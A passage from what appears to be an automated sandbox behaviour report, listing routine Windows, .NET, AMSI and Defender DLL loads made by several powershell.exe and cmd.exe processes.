%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00008432) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00008432) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006932) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006932) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006932) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006932) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008460) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008460) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008460) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008460) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006156) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006156) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00007712) "powershell.exe" called "LoadLibrary" with a parameter 